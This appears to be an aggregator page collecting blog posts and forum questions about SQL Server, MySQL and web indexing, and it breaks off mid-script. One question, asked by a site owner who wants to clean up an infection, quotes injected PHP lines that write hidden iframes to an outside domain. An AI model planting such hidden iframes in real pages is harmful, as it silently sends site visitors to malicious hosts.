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  • SQL SERVER – 2008 – Unused Index Script – Download

    - by pinaldave
    Download Missing Index Script with Unused Index Script Performance Tuning is quite interesting and Index plays a vital role in it. A proper index can improve the performance and a bad index can hamper the performance. Here is the script from my script bank which I use to identify unused indexes on any database. Please note, if you should not drop all the unused indexes this script suggest. This is just for guidance. You should not create more than 5-10 indexes per table. Additionally, this script sometime does not give accurate information so use your common sense. Any way, the scripts is good starting point. You should pay attention to User Scan, User Lookup and User Update when you are going to drop index. The generic understanding is if this values are all high and User Seek is low, the index needs tuning. The index drop script is also provided in the last column. Download Missing Index Script with Unused Index Script -- Unused Index Script -- Original Author: Pinal Dave (C) 2011 SELECT TOP 25 o.name AS ObjectName , i.name AS IndexName , i.index_id AS IndexID , dm_ius.user_seeks AS UserSeek , dm_ius.user_scans AS UserScans , dm_ius.user_lookups AS UserLookups , dm_ius.user_updates AS UserUpdates , p.TableRows , 'DROP INDEX ' + QUOTENAME(i.name) + ' ON ' + QUOTENAME(s.name) + '.' + QUOTENAME(OBJECT_NAME(dm_ius.OBJECT_ID)) AS 'drop statement' FROM sys.dm_db_index_usage_stats dm_ius INNER JOIN sys.indexes i ON i.index_id = dm_ius.index_id AND dm_ius.OBJECT_ID = i.OBJECT_ID INNER JOIN sys.objects o ON dm_ius.OBJECT_ID = o.OBJECT_ID INNER JOIN sys.schemas s ON o.schema_id = s.schema_id INNER JOIN (SELECT SUM(p.rows) TableRows, p.index_id, p.OBJECT_ID FROM sys.partitions p GROUP BY p.index_id, p.OBJECT_ID) p ON p.index_id = dm_ius.index_id AND dm_ius.OBJECT_ID = p.OBJECT_ID WHERE OBJECTPROPERTY(dm_ius.OBJECT_ID,'IsUserTable') = 1 AND dm_ius.database_id = DB_ID() AND i.type_desc = 'nonclustered' AND i.is_primary_key = 0 AND i.is_unique_constraint = 0 ORDER BY (dm_ius.user_seeks + dm_ius.user_scans + dm_ius.user_lookups) ASC GO Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Download, SQL Index, SQL Performance, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • SQL SERVER – 2008 – Missing Index Script – Download

    - by pinaldave
    Download Missing Index Script with Unused Index Script Performance Tuning is quite interesting and Index plays a vital role in it. A proper index can improve the performance and a bad index can hamper the performance. Here is the script from my script bank which I use to identify missing indexes on any database. Please note, if you should not create all the missing indexes this script suggest. This is just for guidance. You should not create more than 5-10 indexes per table. Additionally, this script sometime does not give accurate information so use your common sense. Any way, the scripts is good starting point. You should pay attention to Avg_Estimated_Impact when you are going to create index. The index creation script is also provided in the last column. Download Missing Index Script with Unused Index Script -- Missing Index Script -- Original Author: Pinal Dave (C) 2011 SELECT TOP 25 dm_mid.database_id AS DatabaseID, dm_migs.avg_user_impact*(dm_migs.user_seeks+dm_migs.user_scans) Avg_Estimated_Impact, dm_migs.last_user_seek AS Last_User_Seek, OBJECT_NAME(dm_mid.OBJECT_ID,dm_mid.database_id) AS [TableName], 'CREATE INDEX [IX_' + OBJECT_NAME(dm_mid.OBJECT_ID,dm_mid.database_id) + '_' + REPLACE(REPLACE(REPLACE(ISNULL(dm_mid.equality_columns,''),', ','_'),'[',''),']','') + CASE WHEN dm_mid.equality_columns IS NOT NULL AND dm_mid.inequality_columns IS NOT NULL THEN '_' ELSE '' END + REPLACE(REPLACE(REPLACE(ISNULL(dm_mid.inequality_columns,''),', ','_'),'[',''),']','') + ']' + ' ON ' + dm_mid.statement + ' (' + ISNULL (dm_mid.equality_columns,'') + CASE WHEN dm_mid.equality_columns IS NOT NULL AND dm_mid.inequality_columns IS NOT NULL THEN ',' ELSE '' END + ISNULL (dm_mid.inequality_columns, '') + ')' + ISNULL (' INCLUDE (' + dm_mid.included_columns + ')', '') AS Create_Statement FROM sys.dm_db_missing_index_groups dm_mig INNER JOIN sys.dm_db_missing_index_group_stats dm_migs ON dm_migs.group_handle = dm_mig.index_group_handle INNER JOIN sys.dm_db_missing_index_details dm_mid ON dm_mig.index_handle = dm_mid.index_handle WHERE dm_mid.database_ID = DB_ID() ORDER BY Avg_Estimated_Impact DESC GO Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Download, SQL Index, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • SQL SERVER – Generate Report for Index Physical Statistics – SSMS

    - by pinaldave
    Few days ago, I wrote about SQL SERVER – Out of the Box – Activity and Performance Reports from SSSMS (Link). A user asked me a question regarding if we can use similar reports to get the detail about Indexes. Yes, it is possible to do the same. There are similar type of reports are available at Database level, just like those available at the Server Instance level. You can right click on Database name and click Reports. Under Standard Reports, you will find following reports. Disk Usage Disk Usage by Top Tables Disk Usage by Table Disk Usage by Partition Backup and Restore Events All Transactions All Blocking Transactions Top Transactions by Age Top Transactions by Blocked Transactions Count Top Transactions by Locks Count Resource Locking Statistics by Objects Object Execute Statistics Database Consistency history Index Usage Statistics Index Physical Statistics Schema Change history User Statistics Select the Reports with name Index Physical Statistics. Once click, a report containing all the index names along with other information related to index will be visible, e.g. Index Type and number of partitions. One column that caught my interest was Operation Recommended. In some place, it suggested that index needs to be rebuilt. It is also possible to click and expand the column of partitions and see additional details about index as well. DBA and Developers who just want to have idea about how your index is and its physical statistics can use this tool. Click to Enlarge Note: Please note that I will rebuild my indexes just because this report is recommending it. There are many other parameters you need to consider before rebuilding indexes. However, this tool gives you the accurate stats of your index and it can be right away exported to Excel or PDF writing by clicking on the report. Reference : Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Index, SQL Optimization, SQL Performance, SQL Query, SQL Server, SQL Server Management Studio, SQL Tips and Tricks, SQL Utility, T SQL, Technology

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  • 301 redirect from "/index.html" to root if index.html not exist

    - by Andrij Muzychka
    Can I create 301 redirect from "index.html" to root directory if file "index.html" not exist? For example: link "http://example.com/index.html" show "404 Error" page. I need 301 redirect to root directory: "http://example.com/" in .htaccess I add rule: Options +FollowSymLinks RewriteCond %{THE_REQUEST} ^.*/index.html RewriteRule ^(.*)index.html$ http://example.com/$1 [R=301,L] but it doesn't work. Can you help me solve this problem?

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  • SQL SERVER Size of Index Table for Each Index Solution 2

    Earlier I had ran puzzle where I asked question regarding size of index table for each index in database over here SQL SERVER Size of Index Table A Puzzle to Find Index Size for Each Index on Table. I had received good amount answers and I had blogged about that here SQL SERVER [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • Webserver directory index: index.xml?

    - by Marius
    Hello there, I am making my first RSS-Feed, and I want to host it like this: www.example.com/rss/ I tried to name the xml-file "index.xml" and place it inside the directory, however, when I type http://www.example.com/rss/ i arrive at "Index of /rss" where the file is listed as being part of the directory, but it is not loaded automatically. What can be done about this? Thank you for your time. Kind regards, Marius

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  • Search for index.php and index.html and replace string

    - by Jonas
    Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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  • SQL SERVER Understanding ALTER INDEX ALL REBUILD with Disabled Clustered Index

    This blog is in response to the ongoing communication with the reader who had earlier asked the question of SQL SERVER Disable Clustered Index and Data Insert. The same reader has asked me the difference between ALTER INDEX ALL REBUILD and ALTER INDEX REBUILD along with disabled clustered index. Instead of writing a big [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • Should I specify both INDEX and UNIQUE INDEX?

    - by Matt Huggins
    On one of my PostgreSQL tables, I have a set of two fields that will be defined as being unique in the table, but will also both be used together when selecting data. Given this, do I only need to define a UNIQUE INDEX, or should I specify an INDEX in addition to the UNIQUE INDEX? This? CREATE UNIQUE INDEX mytable_col1_col2_idx ON mytable (col1, col2); Or this? CREATE UNIQUE INDEX mytable_col1_col2_uidx ON mytable (col1, col2); CREATE INDEX mytable_col1_col2_idx ON mytable (col1, col2);

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  • My website google index suddenly increase and also suddenly reduced

    - by Jeg Bagus
    Yesterday before i sleep, i check my site index. i get about 50 index on google. today morning when i wake up, i get 250 index on google. and my page ranking better on several keyword. than i add 1 page and 2 canonical link, add 404 page header, and resubmit sitemap. and after 2 hour, its going down to 50 index again. and my page ranking just rolled back to previous day. what is actually happen? is it because i resubmit sitemap? until now, google still crawl my website. do they try to refresh the index?

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  • Per-vertex position/normal and per-index texture coordinate

    - by Boreal
    In my game, I have a mesh with a vertex buffer and index buffer up and running. The vertex buffer stores a Vector3 for the position and a Vector2 for the UV coordinate for each vertex. The index buffer is a list of ushorts. It works well, but I want to be able to use 3 discrete texture coordinates per triangle. I assume I have to create another vertex buffer, but how do I even use it? Here is my vertex/index buffer creation code: // vertices is a Vertex[] // indices is a ushort[] // VertexDefs stores the vertex size (sizeof(float) * 5) // vertex data numVertices = vertices.Length; DataStream data = new DataStream(VertexDefs.size * numVertices, true, true); data.WriteRange<Vertex>(vertices); data.Position = 0; // vertex buffer parameters BufferDescription vbDesc = new BufferDescription() { BindFlags = BindFlags.VertexBuffer, CpuAccessFlags = CpuAccessFlags.None, OptionFlags = ResourceOptionFlags.None, SizeInBytes = VertexDefs.size * numVertices, StructureByteStride = VertexDefs.size, Usage = ResourceUsage.Default }; // create vertex buffer vertexBuffer = new Buffer(Graphics.device, data, vbDesc); vertexBufferBinding = new VertexBufferBinding(vertexBuffer, VertexDefs.size, 0); data.Dispose(); // index data numIndices = indices.Length; data = new DataStream(sizeof(ushort) * numIndices, true, true); data.WriteRange<ushort>(indices); data.Position = 0; // index buffer parameters BufferDescription ibDesc = new BufferDescription() { BindFlags = BindFlags.IndexBuffer, CpuAccessFlags = CpuAccessFlags.None, OptionFlags = ResourceOptionFlags.None, SizeInBytes = sizeof(ushort) * numIndices, StructureByteStride = sizeof(ushort), Usage = ResourceUsage.Default }; // create index buffer indexBuffer = new Buffer(Graphics.device, data, ibDesc); data.Dispose(); Engine.Log(MessageType.Success, string.Format("Mesh created with {0} vertices and {1} indices", numVertices, numIndices)); And my drawing code: // ShaderEffect, ShaderTechnique, and ShaderPass all store effect data // e is of type ShaderEffect // get the technique ShaderTechnique t; if(!e.techniques.TryGetValue(techniqueName, out t)) return; // effect variables e.SetMatrix("worldView", worldView); e.SetMatrix("projection", projection); e.SetResource("diffuseMap", texture); e.SetSampler("textureSampler", sampler); // set per-mesh/technique settings Graphics.context.InputAssembler.SetVertexBuffers(0, vertexBufferBinding); Graphics.context.InputAssembler.SetIndexBuffer(indexBuffer, SlimDX.DXGI.Format.R16_UInt, 0); Graphics.context.PixelShader.SetSampler(sampler, 0); // render for each pass foreach(ShaderPass p in t.passes) { Graphics.context.InputAssembler.InputLayout = p.layout; p.pass.Apply(Graphics.context); Graphics.context.DrawIndexed(numIndices, 0, 0); } How can I do this?

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  • Google crawling the site but refusing to index dynamic content

    - by Omeoe
    I am trying to get Google to index an AJAX site (davidelifestyle.com). It's crawlable with JavaScript turned off and I have also recently implemented _escaped_content_ snapshot mechanism but all that's indexed is a home page and PDF files that are not directly available from the home page. Also when I use Fetch as Google in Webmaster Tools, it downloads the dynamic page but does not index it ("Submit to Index" just reloads the page). Any ideas what might be wrong?

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  • SQL SERVER Force Index Scan on Table Use No Index to Retrieve the Data Query Hint

    Recently I received the following two questions from readers and both the questions have very similar answers.Question 1: I have a unique requirement where I do not want to use any index of the table; how can I achieve this?Question 2: Currently my table uses clustered index and does seek operation; how can I convert [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • SQL Server Clustered Index: (Physical) Data Page Order

    - by scherand
    I am struggling understanding what a clustered index in SQL Server 2005 is. I read the MSDN article Clustered Index Structures (among other things) but I am still unsure if I understand it correctly. The (main) question is: what happens if I insert a row (with a "low" key) into a table with a clustered index? The above mentioned MSDN article states: The pages in the data chain and the rows in them are ordered on the value of the clustered index key. And Using Clustered Indexes for example states: For example, if a record is added to the table that is close to the beginning of the sequentially ordered list, any records in the table after that record will need to shift to allow the record to be inserted. Does this mean that if I insert a row with a very "low" key into a table that already contains a gazillion rows literally all rows are physically shifted on disk? I cannot believe that. This would take ages, no? Or is it rather (as I suspect) that there are two scenarios depending on how "full" the first data page is. A) If the page has enough free space to accommodate the record it is placed into the existing data page and data might be (physically) reordered within that page. B) If the page does not have enough free space for the record a new data page would be created (anywhere on the disk!) and "linked" to the front of the leaf level of the B-Tree? This would then mean the "physical order" of the data is restricted to the "page level" (i.e. within a data page) but not to the pages residing on consecutive blocks on the physical hard drive. The data pages are then just linked together in the correct order. Or formulated in an alternative way: if SQL Server needs to read the first N rows of a table that has a clustered index it can read data pages sequentially (following the links) but these pages are not (necessarily) block wise in sequence on disk (so the disk head has to move "randomly"). How close am I? :)

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  • New record may be written twice in clusterd index structure

    - by Cupidvogel
    As per the article at Microsoft, under the Test 1: INSERT Performance section, it is written that For the table with the clustered index, only a single write operation is required since the leaf nodes of the clustered index are data pages (as explained in the section Clustered Indexes and Heaps), whereas for the table with the nonclustered index, two write operations are required—one for the entry into the index B-tree and another for the insert of the data itself. I don't think that is necessarily true. Clustered Indexes are implemented through B+ tree structures, right? If you look at at this article, which gives a simple example of inserting into a B+ tree, we can see that when 8 is initially inserted, it is written only once, but then when 5 comes in, it is written to the root node as well (thus written twice, albeit not initially at the time of insertion). Also when 8 comes in next, it is written twice, once at the root and then at the leaf. So won't it be correct to say, that the number of rewrites in case of a clustered index is much less compared to a NIC structure (where it must occur every time), instead of saying that rewrite doesn't occur in CI at all?

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  • Query doesn't use a covering-index when applicable

    - by Dor
    I've downloaded the employees database and executed some queries for benchmarking purposes. Then I noticed that one query didn't use a covering index, although there was a corresponding index that I created earlier. Only when I added a FORCE INDEX clause to the query, it used a covering index. I've uploaded two files, one is the executed SQL queries and the other is the results. Can you tell why the query uses a covering-index only when a FORCE INDEX clause is added? The EXPLAIN shows that in both cases, the index dept_no_from_date_idx is being used anyway. To adapt myself to the standards of SO, I'm also writing the content of the two files here: The SQL queries: USE employees; /* Creating an index for an index-covered query */ CREATE INDEX dept_no_from_date_idx ON dept_emp (dept_no, from_date); /* Show `dept_emp` table structure, indexes and generic data */ SHOW TABLE STATUS LIKE "dept_emp"; DESCRIBE dept_emp; SHOW KEYS IN dept_emp; /* The EXPLAIN shows that the subquery doesn't use a covering-index */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery should use a covering index, but isn't */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`); /* The EXPLAIN shows that the subquery DOES use a covering-index, thanks to the FORCE INDEX clause */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery use a covering index */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp FORCE INDEX(dept_no_from_date_idx) WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`); The results: -------------- /* Creating an index for an index-covered query */ CREATE INDEX dept_no_from_date_idx ON dept_emp (dept_no, from_date) -------------- Query OK, 331603 rows affected (33.95 sec) Records: 331603 Duplicates: 0 Warnings: 0 -------------- /* Show `dept_emp` table structure, indexes and generic data */ SHOW TABLE STATUS LIKE "dept_emp" -------------- +----------+--------+---------+------------+--------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+-----------------+----------+----------------+---------+ | Name | Engine | Version | Row_format | Rows | Avg_row_length | Data_length | Max_data_length | Index_length | Data_free | Auto_increment | Create_time | Update_time | Check_time | Collation | Checksum | Create_options | Comment | +----------+--------+---------+------------+--------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+-----------------+----------+----------------+---------+ | dept_emp | InnoDB | 10 | Compact | 331883 | 36 | 12075008 | 0 | 21544960 | 29360128 | NULL | 2010-05-04 13:07:49 | NULL | NULL | utf8_general_ci | NULL | | | +----------+--------+---------+------------+--------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+-----------------+----------+----------------+---------+ 1 row in set (0.47 sec) -------------- DESCRIBE dept_emp -------------- +-----------+---------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-----------+---------+------+-----+---------+-------+ | emp_no | int(11) | NO | PRI | NULL | | | dept_no | char(4) | NO | PRI | NULL | | | from_date | date | NO | | NULL | | | to_date | date | NO | | NULL | | +-----------+---------+------+-----+---------+-------+ 4 rows in set (0.05 sec) -------------- SHOW KEYS IN dept_emp -------------- +----------+------------+-----------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ | Table | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | +----------+------------+-----------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ | dept_emp | 0 | PRIMARY | 1 | emp_no | A | 331883 | NULL | NULL | | BTREE | | | dept_emp | 0 | PRIMARY | 2 | dept_no | A | 331883 | NULL | NULL | | BTREE | | | dept_emp | 1 | emp_no | 1 | emp_no | A | 331883 | NULL | NULL | | BTREE | | | dept_emp | 1 | dept_no | 1 | dept_no | A | 7 | NULL | NULL | | BTREE | | | dept_emp | 1 | dept_no_from_date_idx | 1 | dept_no | A | 13 | NULL | NULL | | BTREE | | | dept_emp | 1 | dept_no_from_date_idx | 2 | from_date | A | 165941 | NULL | NULL | | BTREE | | +----------+------------+-----------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ 6 rows in set (0.23 sec) -------------- /* The EXPLAIN shows that the subquery doesn't use a covering-index */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery should use a covering index, but isn't */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`) -------------- +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+-------------+ | 1 | PRIMARY | <derived2> | ALL | NULL | NULL | NULL | NULL | 50 | | | 1 | PRIMARY | dept_emp | eq_ref | PRIMARY,emp_no,dept_no,dept_no_from_date_idx | PRIMARY | 16 | der.emp_no,der.dept_no | 1 | | | 2 | DERIVED | dept_emp | ref | dept_no,dept_no_from_date_idx | dept_no_from_date_idx | 12 | | 21402 | Using where | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+-------------+ 3 rows in set (0.09 sec) -------------- /* The EXPLAIN shows that the subquery DOES use a covering-index, thanks to the FORCE INDEX clause */ EXPLAIN SELECT SQL_NO_CACHE * FROM dept_emp INNER JOIN ( /* The subquery use a covering index */ SELECT SQL_NO_CACHE emp_no, dept_no FROM dept_emp FORCE INDEX(dept_no_from_date_idx) WHERE dept_no="d001" ORDER BY from_date DESC LIMIT 20000,50 ) AS `der` USING (`emp_no`, `dept_no`) -------------- +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+--------------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+--------------------------+ | 1 | PRIMARY | <derived2> | ALL | NULL | NULL | NULL | NULL | 50 | | | 1 | PRIMARY | dept_emp | eq_ref | PRIMARY,emp_no,dept_no,dept_no_from_date_idx | PRIMARY | 16 | der.emp_no,der.dept_no | 1 | | | 2 | DERIVED | dept_emp | ref | dept_no_from_date_idx | dept_no_from_date_idx | 12 | | 37468 | Using where; Using index | +----+-------------+------------+--------+----------------------------------------------+-----------------------+---------+------------------------+-------+--------------------------+ 3 rows in set (0.05 sec) Bye

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  • mysql index optimization for a table with multiple indexes that index some of the same columns

    - by Sean
    I have a table that stores some basic data about visitor sessions on third party web sites. This is its structure: id, site_id, unixtime, unixtime_last, ip_address, uid There are four indexes: id, site_id/unixtime, site_id/ip_address, and site_id/uid There are many different types of ways that we query this table, and all of them are specific to the site_id. The index with unixtime is used to display the list of visitors for a given date or time range. The other two are used to find all visits from an IP address or a "uid" (a unique cookie value created for each visitor), as well as determining if this is a new visitor or a returning visitor. Obviously storing site_id inside 3 indexes is inefficient for both write speed and storage, but I see no way around it, since I need to be able to quickly query this data for a given specific site_id. Any ideas on making this more efficient? I don't really understand B-trees besides some very basic stuff, but it's more efficient to have the left-most column of an index be the one with the least variance - correct? Because I considered having the site_id being the second column of the index for both ip_address and uid but I think that would make the index less efficient since the IP and UID are going to vary more than the site ID will, because we only have about 8000 unique sites per database server, but millions of unique visitors across all ~8000 sites on a daily basis. I've also considered removing site_id from the IP and UID indexes completely, since the chances of the same visitor going to multiple sites that share the same database server are quite small, but in cases where this does happen, I fear it could be quite slow to determine if this is a new visitor to this site_id or not. The query would be something like: select id from sessions where uid = 'value' and site_id = 123 limit 1 ... so if this visitor had visited this site before, it would only need to find one row with this site_id before it stopped. This wouldn't be super fast necessarily, but acceptably fast. But say we have a site that gets 500,000 visitors a day, and a particular visitor loves this site and goes there 10 times a day. Now they happen to hit another site on the same database server for the first time. The above query could take quite a long time to search through all of the potentially thousands of rows for this UID, scattered all over the disk, since it wouldn't be finding one for this site ID. Any insight on making this as efficient as possible would be appreciated :) Update - this is a MyISAM table with MySQL 5.0. My concerns are both with performance as well as storage space. This table is both read and write heavy. If I had to choose between performance and storage, my biggest concern is performance - but both are important. We use memcached heavily in all areas of our service, but that's not an excuse to not care about the database design. I want the database to be as efficient as possible.

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  • SQL SERVER – Disable Clustered Index and Data Insert

    - by pinaldave
    Earlier today I received following email. “Dear Pinal, [Removed unrelated content] We looked at your script and found out that in your script of disabling indexes, you have only included non-clustered index during the bulk insert and missed to disabled all the clustered index. Our DBA[name removed] has changed your script a bit and included all the clustered indexes. Since our application is not working. When DBA [name removed] tried to enable clustered indexes again he is facing error incorrect syntax error. We are in deep problem [word replaced] [Removed Identity of organization and few unrelated stuff ]“ I have replied to my client and helped them fixed the problem. What really came to my attention is the concept of disabling clustered index. Let us try to learn a lesson from this experience. In this case, there was no need to disable clustered index at all. I had done necessary work when I was called in to work on tuning project. I had removed unused indexes, created few optimal indexes and wrote a script to disable few selected high cost indexes when bulk insert (and similar) operations are performed. There was another script which rebuild all the indexes as well. The solution worked till they included clustered index in disabling the script. Clustered indexes are in fact original table (or heap) physically ordered (any more things – not scope of this article) according to one or more keys(columns). When clustered index is disabled data rows of the disabled clustered index cannot be accessed. This means there will be no insert possible. When non clustered indexes are disabled all the data related to physically deleted but the definition of the index is kept in the system. Due to the same reason even reorganization of the index is not possible till the clustered index (which was disabled) is rebuild. Now let us come to the second part of the question, regarding receiving the error when clustered index is ‘enabled’. This is very common question I receive on the blog. (The following statement is written keeping the syntax of T-SQL in mind) Clustered indexes can be disabled but can not be enabled, they have to rebuild. It is intuitive to think that something which we have ‘disabled’ can be ‘enabled’ but the syntax for the same is ‘rebuild’. This issue has been explained here: SQL SERVER – How to Enable Index – How to Disable Index – Incorrect syntax near ‘ENABLE’. Let us go over this example where inserting the data is not possible when clustered index is disabled. USE AdventureWorks GO -- Create Table CREATE TABLE [dbo].[TableName]( [ID] [int] NOT NULL, [FirstCol] [varchar](50) NULL, CONSTRAINT [PK_TableName] PRIMARY KEY CLUSTERED ([ID] ASC) ) GO -- Create Nonclustered Index CREATE UNIQUE NONCLUSTERED INDEX [IX_NonClustered_TableName] ON [dbo].[TableName] ([FirstCol] ASC) GO -- Populate Table INSERT INTO [dbo].[TableName] SELECT 1, 'First' UNION ALL SELECT 2, 'Second' UNION ALL SELECT 3, 'Third' GO -- Disable Nonclustered Index ALTER INDEX [IX_NonClustered_TableName] ON [dbo].[TableName] DISABLE GO -- Insert Data should work fine INSERT INTO [dbo].[TableName] SELECT 4, 'Fourth' UNION ALL SELECT 5, 'Fifth' GO -- Disable Clustered Index ALTER INDEX [PK_TableName] ON [dbo].[TableName] DISABLE GO -- Insert Data will fail INSERT INTO [dbo].[TableName] SELECT 6, 'Sixth' UNION ALL SELECT 7, 'Seventh' GO /* Error: Msg 8655, Level 16, State 1, Line 1 The query processor is unable to produce a plan because the index 'PK_TableName' on table or view 'TableName' is disabled. */ -- Reorganizing Index will also throw an error ALTER INDEX [PK_TableName] ON [dbo].[TableName] REORGANIZE GO /* Error: Msg 1973, Level 16, State 1, Line 1 Cannot perform the specified operation on disabled index 'PK_TableName' on table 'dbo.TableName'. */ -- Rebuliding should work fine ALTER INDEX [PK_TableName] ON [dbo].[TableName] REBUILD GO -- Insert Data should work fine INSERT INTO [dbo].[TableName] SELECT 6, 'Sixth' UNION ALL SELECT 7, 'Seventh' GO -- Clean Up DROP TABLE [dbo].[TableName] GO I hope this example is clear enough. There were few additional posts I had written years ago, I am listing them here. SQL SERVER – Enable and Disable Index Non Clustered Indexes Using T-SQL SQL SERVER – Enabling Clustered and Non-Clustered Indexes – Interesting Fact Reference : Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Constraint and Keys, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • New Whitepaper from SQLBI: Vertipaq vs ColumnStore

    - by AlbertoFerrari
    At the end of June 2012, I was in Amsterdam to present some sessions at Teched Europe 2012 and, while preparing the material for the demos (yes, the best demos are the ones I prepare at the last minute), I decided to make a comparison between the two implementations of xVelocity of SQL 2012, one is the VertiPaq engine in SSAS Tabular and the other one is the ColumnStore index in SQL Server. After some trials, I decided that ColumnStore was a clear loser, because I was not able to see a real improvement...(read more)

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  • Updatable columnstore index, sp_spaceused and sys.partitions

    - by Michael Zilberstein
    Columnstore index in SQL Server 2014 contains 2 new important features: it can be clustered and it is updateable. So I decided to play with both. As a “control group” I’ve taken my old columnstore index demo from one of the ISUG (Israeli SQL Server Usergroup) sessions. The script itself isn’t important – it creates partition function with 7 partitions (actually 8 but one remains empty), table on it and populates the table with 63 million rows – 9 million in each partition. So I used the same script...(read more)

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  • TPC-H Benchmarks on SQL Server 2014 with Columnstore

    - by jchang
    Three TPC-H benchmark results were published in April of this year at SQL Server 2014 launch, where the new updateable columnstore feature was used. SQL Server 2012 had non-updateable columnstore that required the base table to exist in rowstore form. This was not used in the one published TPC-H benchmark result on SQL Server 2012, which includes two refresh stored procedures, one inserting rows, the second deleting rows. It is possible that the TPC-H rules do not allow a view to union two tables?...(read more)

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  • SQL SERVER – A Funny Cartoon on Index

    - by pinaldave
    Performance Tuning has been my favorite subject and I have done it for many years now. Today I will list one of the most common conversation about Index I have heard in my life. Every single time, I am at consultation for performance tuning I hear following conversation among various team members. I want to ask you, does this kind of conversation happens in your organization? Any way, If you think Index solves all of your performance problem I think it is not true. There are many other reason one has to consider along with Indexes. For example I consider following various topic one need to understand for performance tuning. ?Logical Query Processing ?Efficient Join Techniques ?Query Tuning Considerations ?Avoiding Common Performance Tuning Issues Statistics and Best Practices ?TempDB Tuning ?Hardware Planning ?Understanding Query Processor ?Using SQL Server 2005 and 2008 Updated Feature Sets ?CPU, Memory, I/O Bottleneck Index Tuning (of course) ?Many more… Well, I have written this blog thinking I will keep this blog post a bit easy and not load up. I will in future discuss about other performance tuning concepts. Let me know what do you think about the cartoon I made. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Humor, SQL Index, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • SQL SERVER – Index Created on View not Used Often – Observation of the View – Part 2

    - by pinaldave
    Earlier, I have written an article about SQL SERVER – Index Created on View not Used Often – Observation of the View. I received an email from one of the readers, asking if there would no problems when we create the Index on the base table. Well, we need to discuss this situation in two different cases. Before proceeding to the discussion, I strongly suggest you read my earlier articles. To avoid the duplication, I am not going to repeat the code and explanation over here. In all the earlier cases, I have explained in detail how Index created on the View is not utilized. SQL SERVER – Index Created on View not Used Often – Limitation of the View 12 SQL SERVER – Index Created on View not Used Often – Observation of the View SQL SERVER – Indexed View always Use Index on Table As per earlier blog posts, so far we have done the following: Create a Table Create a View Create Index On View Write SELECT with ORDER BY on View However, the blog reader who emailed me suggests the extension of the said logic, which is as follows: Create a Table Create a View Create Index On View Write SELECT with ORDER BY on View Create Index on the Base Table Write SELECT with ORDER BY on View After doing the last two steps, the question is “Will the query on the View utilize the Index on the View, or will it still use the Index of the base table?“ Let us first run the Create example. USE tempdb GO IF EXISTS (SELECT * FROM sys.views WHERE OBJECT_ID = OBJECT_ID(N'[dbo].[SampleView]')) DROP VIEW [dbo].[SampleView] GO IF EXISTS (SELECT * FROM sys.objects WHERE OBJECT_ID = OBJECT_ID(N'[dbo].[mySampleTable]') AND TYPE IN (N'U')) DROP TABLE [dbo].[mySampleTable] GO -- Create SampleTable CREATE TABLE mySampleTable (ID1 INT, ID2 INT, SomeData VARCHAR(100)) INSERT INTO mySampleTable (ID1,ID2,SomeData) SELECT TOP 100000 ROW_NUMBER() OVER (ORDER BY o1.name), ROW_NUMBER() OVER (ORDER BY o2.name), o2.name FROM sys.all_objects o1 CROSS JOIN sys.all_objects o2 GO -- Create View CREATE VIEW SampleView WITH SCHEMABINDING AS SELECT ID1,ID2,SomeData FROM 